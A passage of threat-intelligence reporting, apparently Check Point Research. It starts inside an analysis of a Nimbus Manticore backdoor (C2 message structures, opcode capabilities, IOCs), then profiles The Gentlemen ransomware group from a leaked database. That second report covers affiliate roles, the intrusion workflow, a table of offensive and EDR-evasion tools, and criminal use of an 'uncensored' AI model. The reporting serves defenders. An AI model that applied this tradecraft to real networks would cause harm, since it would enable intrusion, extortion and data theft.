  "isElevated": true_or_false
}

Only after it receives an HTTP status code 200 from the C2 server does the backdoor proceed to fetch commands for execution using a GET request to /agent/poll?token=<socketId>.

Here, the communication between the implant and the C2 server is not in a JSON format and is performed using Base64-encoded serialized task structures, where each response contains one or more encoded tasks that are later decoded and processed by the backdoor.

struct PollEnvelope {
    uint32_t task_count;
    struct TaskDescriptor {
        uint32_t len_base64;
        char     base64_task[len_base64]; // ASCII, no null terminator
    } tasks[task_count];
};

Each task is then Base64-decoded into a secondary structure, containing the opcode and associated arguments:

struct TaskRecord {
    uint8_t  opcode;
    uint8_t  pad[7];                // alignment
    custom_str_struct arg_main;     // at offset +0x08: main command argument
    custom_str_struct arg_aux;      // at offset +0x28: secondary arg (if needed)
    custom_str_struct taskId;       // at offset +0x48: unique task identifier
}

The opcode determines which capability is executed, while the remaining fields contain command arguments and task tracking identifiers. The malware implements a structured opcode-based command handler that provides operators with extensive control over infected systems.

Figure 8 – MiniFast Command switch.

The supported command set:

OpcodeCapabilityArgumentsDescription
0x02List DirectorypathLists files and folders inside a specified directory.
0x03Move / RenamesourcedestinationMoves or renames files and directories on the victim machine.
0x04Execute CommandcommandExecutes shell commands using cmd.exe /c and returns captured output.
0x05Enumerate ProcessesNoneEnumerates running processes and returns process names alongside their PIDs.
0x06Delete File / DirectorypathDeletes files or directories depending on the target type.
0x07Download FilefileUuiddestinationPathDownloads a file from the C2 server to the local machine.
0x08Upload FilepathUploads local files from the infected machine to the C2 server.
0x09Enumerate DrivesNoneLists available logical drives on the infected machine.
0x0AKill ProcesspidTerminates a process using its PID.
0x0BLoad DLLdllPathexportNameDynamically loads a DLL and invokes a specified exported function.
0x0CCreate DirectorypathCreates a new directory on the victim machine.
0x0DCreate ZIP ArchivesourcePathzipPathCreates a ZIP archive from files or directories.
0xB0Request UAC ElevationpathOrCommandAttempts to relaunch a process with elevated privileges using runas.
0xB1Install PersistencebinaryPathCreates or updates a scheduled task named WindowsSecurityUpdate.
0xF0Set Poll IntervalmillisecondsUpdates the beacon polling interval.
0xF1Idle Command AcknowledgeNoneAcknowledges an idle-time command without modifying behavior.
0xF2Set JittermillisecondsUpdates the jitter value applied to beacon intervals.
DefaultUnknown OpcodeAnyReturns an error for unsupported commands.

After executing a task, the implant serializes the execution result into a dedicated response structure which is Base64-encoded and submitted back to the C2 server through the /agent/result endpoint. The encoded result object contains the task identifier, execution status, and command output:

struct ResultEntry {
    uint32_t taskIdLen;           
    char     taskId[taskIdLen];   // unique task identifier
    uint32_t status;              // 0 = success, 1 = error
    uint8_t  resultText[resultLen]; // command output
};

Victimology

Nimbus Manticore consistently focuses on Europe, the Middle East and Africa, particularly Israel and the United Arab Emirates. However, in contrast to our previous research, the actor’s recent operations demonstrate an expansion toward aviation-sector targets in the United States.

As observed in prior campaigns, there appears to be a strong correlation between the phishing lure and the targeted sector. For example, fraudulent hiring portals impersonating aviation companies were used to target employees and organizations operating within that industry. In the current campaign, impersonate US domestic airlines suggest a deliberate focus on US-based targets.

Our findings indicate targeting extends across several strategic sectors, including aviation and software development. These sectors align with the IRGC’s broader intelligence collection priorities.

Figure 9 – Geographic Distribution of victims around the world.

Conclusion

Nimbus Manticore is one of the most sophisticated Iranian-aligned threat actors with a long-standing focus on the defense, telecommunications, and aviation sectors. The ongoing conflict in the Middle East, combined with the operational demands of wartime activity, appears to have significantly accelerated their malware evolution.

As an IRGC-affiliated entity operating under heightened geopolitical conditions, Nimbus Manticore demonstrated a rapid adoption cycle for new techniques, tooling, and operational methodologies. The actor’s activity during Operation Epic Fury highlights their increasing adaptability, particularly through the integration of AI-assisted malware development, novel infection vectors, and advanced stealth mechanisms.

IOCs

SHA256
10fd541674adadfbba99b54280f7e59732746faf2b10ce68521866f737f1e46d
eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71
781605ce9d4a9869e846f6c9657d71437cb6240ab27ffbc4cd550c0e06996690
2c214494fd0bad31473ca8adce78a4f50847876584571e66aadeae70827ec2dc
f08b17856616d66492a24dced27f788e235f35f42fa7cd10f315000d3a2f4c03
a57ffb819fe8d98ff925c5d7b239598fe302acf5a13193d7a535040a71298fdf
63d0d3c4a7f71bdbca720903d6a99b832089cc093c64d2938e7e001e56c17ab4
74882085db2088356ed7f72f01e0404a0a98cda88ef56fb15ce74c1f36b26d27
bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad
ecaf493c320d201d285ef5f61d75744216e47cf1115b4af528f9a78883cc446e
44f4f7aca7f1d9bfdaf7b3736934cbe19f851a707662f8f0b0c49b383e054250
0db36a04d304ad96f9e6f97b531934594cd95a5cea9ff2c9af249201089dc864
485f182f7b74ea4013b2539275a95d21e3a9bf0082c331937af9353a324b36f3
64530d7e6ee30e4a66d9eeed6b8595c33fd72f5f73409133ca40539e5695df4c
332ba2f0297dfb1599adecc3e9067893e7cf243aa23aedce4906a4c480574c17
9e4a658e6d831c9e9bdfe11884a75b7c64812ed0a80e8495ddf6b316505acac1
43dc62cef52ebdd69e79f10015b3e13890f26c058325c0ff139c70f8d8eadcfa
8808c794c24367438f183e4be941876f1d3ecd0c8d2eb43b10d2380841d2283b
5c3362d20229597d11380f56d1f2eb39647fb6afad7be8392a7abcd18dff12f8
0291ef318576953f7f3fe287e7775ed1d7c3206119dc7b9cd6d85c02779e6e40
d4a7e9f107fe40c1a5d0139c6c6e25bf6bf57f61feff090bee28f476bb3cc3c2
38bd137c672bd58d08c4f0502f993a6561e2c3411773d1ae57ee0151a0a9d11d
f54cd38632ac9da3af3533ae93e92625cbcb04df521dbf1b6acfaa81218f9e8c
b19e06da580cf91691eda066ac9ee4b09c6e5dc26c367af12660fe1f9306eec4
9cf029daca89523d917dafed0568d11d00e45ec96b5b90b4a1f7fd4018c7da84
a13ba3c5aff46e9daf2d23df4b3e3d49dc7236c207c56f0a1433051f3450d441
dfa1e3137a032ee8561a1cd5e1a0f71a10bebb36aef7c336c878638a9c1239ee

Domains
business-startup[.]org
business-startup.azurewebsites[.]net
businessstartup.azurewebsites[.]net
buisness-centeral.azurewebsites[.]net
buisness-centeral-transportation.azurewebsites[.]net
buisness-centeral-transportation[.]com
licencemanagers.azurewebsites[.]net
licencesupporting.azurewebsites[.]net	
peerdistsvcmanagers.azurewebsites[.]net
nanomatrix.azurewebsites[.]net
PremierHealthAdvisory[.]com
PremierHealthAdvisory[.]azurewebsites.net
Premier-HealthAdvisory[.]azurewebsites.net
ramiltonsfinance[.]com
ramiltonsfinance.azurewebsites[.]net
ramiltons-finance.azurewebsites[.]net
globalitconsultants.azurewebsites[.]net
globalit-consultants.azurewebsites[.]net
global-it-consultants.azurewebsites[.]net
global-it-checkers.azurewebsites[.]net
global-it-checkbusiness.azurewebsites[.]net
global-check-itbusiness.azurewebsites[.]net
global-check-business-it.azurewebsites[.]net
globalbusiness-checkers-it.azurewebsites[.]net
getsqldeveloper[.]com

The post Fast and Furious – Nimbus Manticore Operations During the Iranian Conflict appeared first on Check Point Research.

Thus Spoke…The Gentlemen

Key Points

  • On May 4th, 2026, The Gentlemen RaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program.
  • The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073.
  • Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD.
  • Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy.
  • By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


Introduction

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates.

In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims.

During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims.

In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum.

The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations.


The Gentlemen RaaS Admin

The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator.

In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates.

Figure 1 — Zeta88 advertising The Gentlemen’s RaaS.

Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums.

Figure 2 — RaaS admin in underground forum.

The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator.

Figure 3 — Onion page TOX ID.

In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field.

Figure 4 — Image uploaded by RaaS admin.

In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective.

Figure 5 — Image uploaded by RaaS admin.

Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator.


RaaS Affiliates

Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal.

For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs.

15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A
98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB

There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples.

CmpID: 03860d116701cdc9d9bf9c45099bb3d3 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 11e7baca7e652995b2364fdab0d362b7 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2cd4eb358c45ca783a20ec854a5a860c TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2e5d1a352885a6efd84dbc0387cbc79e TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 3b7b4f2d33bdfb8a31b480d0eb2815cd TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4a94d2b730a5a63e6cd54a9b0bb4ea71 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4e0c37cbf4dde9683943c8a738e5b00a TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 51dec3e170f8a181cc9aea8dcc90c7ab TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 583fe1c1a39f6b873a5c0997bea1f657 TOX: 15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
CmpID: 697f182826495662427ca49edbb345fc TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 71d503709af88821c183a1d0b7ae06ec TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 721606b3659f2c2d80a196ed3cd60053 TOX: F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB
CmpID: 735069890a414869f0113de820ba9afb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 74ea100b581ec32ea6c2ac2a0030a9f6 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 776e86c13433747299a4e5f9f22e3415 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: 7aae8fd9187c88dd0292cce1abd050e2 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 82160a7da5fc4c935e6f48d38a5aaaa6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 893f735e9a8cc9814dc6eccd5579561c TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 8fceea4fd9ce32dd620ccd580297c7c5 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 92d8bd2a6ee7f6d5c84e037066ce0539 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: a023a6b15419600dc3f6b93e11761dfe TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: a73526d89e5fb7b57f50d8da340e53e9 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: abd11823ddcc3d746ad8621e677a93eb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b5b42ac289581b3387ebf120129a19a6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b68e019efb39b85f5a0326e22fd4498a TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: bc6b87c79bc71a78da623d031ec1a958 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: d75246d230f22b1da6bbf5fceeed2ef2 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: da9cff1b478b64d47b68d50330e96c60 TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: ead0d7a8ae0a6ffb7f0a5873fec4ff5e TOX: 88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A

Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


RaaS Leak

On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident.

Figure 6 — The Gentlemen RaaS post.

The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows.


Demanding ransom from a RaaS

On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin.

Figure 7 — Account selling The Gentlemen RaaS Data.

In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak.

Figure 8 — Partial leaks.

The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator.

Figure 9 — shadow file content.

The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts.

While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set.

Figure 10 — Full leaked data screenshot.


Roles & Structure

The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”).

Figure 11 — Image shared in the chats, zeta88 – Admin.

Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment.

Figure 12 — zeta88 locking message.

Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person.

Figure 13 — zeta88 – hastalamuerte message.

Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing.

Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp.

Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers.

Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion.

Figure 14 — Collaboration and profit sharing.

Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group.

Figure 15 — Organization diagram.


Operational workflow

The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network.

Figure 16 — Searching credentials & accounts.

After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries.

With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner.


Tools & Infra

The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments.

CategoryTool / ResourcePurpose / UsageReference / Notes
C2 / Remote AccessZeroPulseRemote access / C2 framework for controlling compromised hosts.https://github.com/jxroot/ZeroPulse
C2 / Remote AccessVelociraptorUsed as a covert C2 platform, including memory and LSASS dumping.Often used with signed builds to reduce detection.
C2 / Remote AccessCloudflare Zero Trust / TunnelsProvides stealthy tunnels into victim networks over HTTPS.Used together with custom VPN setups.
VPN / Network Accesswireguard-installAutomates WireGuard VPN deployment.https://github.com/angristan/wireguard-install
VPN / Network Accessopenvpn-installAutomates OpenVPN server setup.https://github.com/angristan/openvpn-install
VPN / Network AccessDouble-VPN-with-OpenVPNConfigures double‑layer OpenVPN routing.https://github.com/pizdatiigus/Double-VPN-with-OpenVPN
Offensive / Red‑TeamNetExec (NXC)Multi‑purpose offensive framework for AD, SMB, WinRM, and more.Internal usage guide via a shared NXC gist.
Offensive / Red‑TeamTaskHoundTask and privilege abuse / persistence helper.Used post‑exploitation.
Offensive / Red‑TeamPrivHoundIdentifies local privilege escalation paths and persistence opportunities.Integrates with BloodHound data.
Offensive / Red‑TeamRelayKing-DepthFinds and exploits NTLM relay paths across protocols.https://github.com/depthsecurity/RelayKing-Depth
Offensive / Red‑TeamCertiHoundEnumerates and detects ADCS misconfigurations (ESC1–ESC17).Used via NetExec integration.
Offensive / Red‑TeamTitanisOffensive tooling for Windows logging / ETW manipulation.https://github.com/trustedsec/Titanis
Offensive / Red‑TeamMANSPIDERSearches file shares for sensitive strings and documents.Used for locating valuable data.
Offensive / Red‑TeamPowerZureAbuses Azure / cloud misconfigurations.Used for cloud‑side access and escalation.
Offensive / Red‑TeamRegPwnRegistry‑based privilege escalation and service abuse.Often used for MSI service abuse.
Offensive / Red‑TeamKslDumpDumps Kerberos / LSASS‑related material.Used for credential theft.
Offensive / Red‑TeamKslKatzKerberos / LSASS post‑exploitation tool similar to credential dumpers.Complements KslDump.
EDR / AV EvasionEDRStartupHinderBlocks or delays EDR processes at startup.Based on the EDR-Startup-Process-Blocker concept.
EDR / AV EvasiongfreezePart of their EDR “killer” toolkit to hinder security products.Derived from EDR‑blocking research/code.
EDR / AV EvasionglinkerAnother component in their EDR evasion sets.Often grouped with gfreeze.
EDR / AV EvasionDumpBrowserSecretsDumps browser cookies and secrets for session hijacking.Used to reuse corporate web sessions.
EDR / AV Evasionzerosalarium ETW/log tricksPublic research they follow for ETW and log‑based EDR kill techniques.Multiple posts referenced for inspiration.
Infra / Scanninggogo.exeScanner for common ports and exposed services.Used in early discovery phases.
Infra / ScanningNXC usage gistInternal guide for effective NetExec usage.https://gist.github.com/gitgotgitgotit/81a578e065da1ccd8c81a8e90c309275
OSINT / Helper ToolsSputnik browser extensionOSINT aggregation extension to support recon.Helps enrich target information.
OSINT / Helper Toolschamd5.orgOnline password hash cracking service.Used for recovering cleartext passwords.
OSINT / Helper Toolshashcracking_botBot‑based password cracking service.Complements other cracking methods.

The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect.

Figure 17 — Code signing conversations.


AI mentions

The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented.

zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces.

Figure 18 — zeta88 “vibe-coded” the Panel.

Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries.

Figure 19 — AI preferences.

He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen.

Figure 20 — Chinese LLMs suggestions.

A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.”

Figure 21 — Qwen 3.5 post.

zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel.

Figure 22 — Usage of AI as quick reference.

For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.

Figure 23 — Local, self-hosted LLM.

Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups.

Figure 24 — Screenshot shared in the chats.

The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information.


CVEs and Exploits

While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced.

